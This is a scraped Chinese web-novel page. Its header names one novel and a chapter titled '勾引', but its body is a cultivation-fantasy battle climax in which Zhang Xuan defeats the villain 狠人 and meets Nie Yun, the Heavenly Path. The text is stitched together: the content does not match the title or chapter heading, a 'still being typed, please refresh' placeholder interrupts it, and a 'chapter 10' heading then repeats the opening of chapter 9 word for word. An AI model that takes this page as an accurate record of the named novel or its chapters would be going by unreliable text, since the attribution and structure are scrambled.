《太子重生关我何事，大小姐要嘎嘎乱杀》 第9章 勾引 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第10章 对峙 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 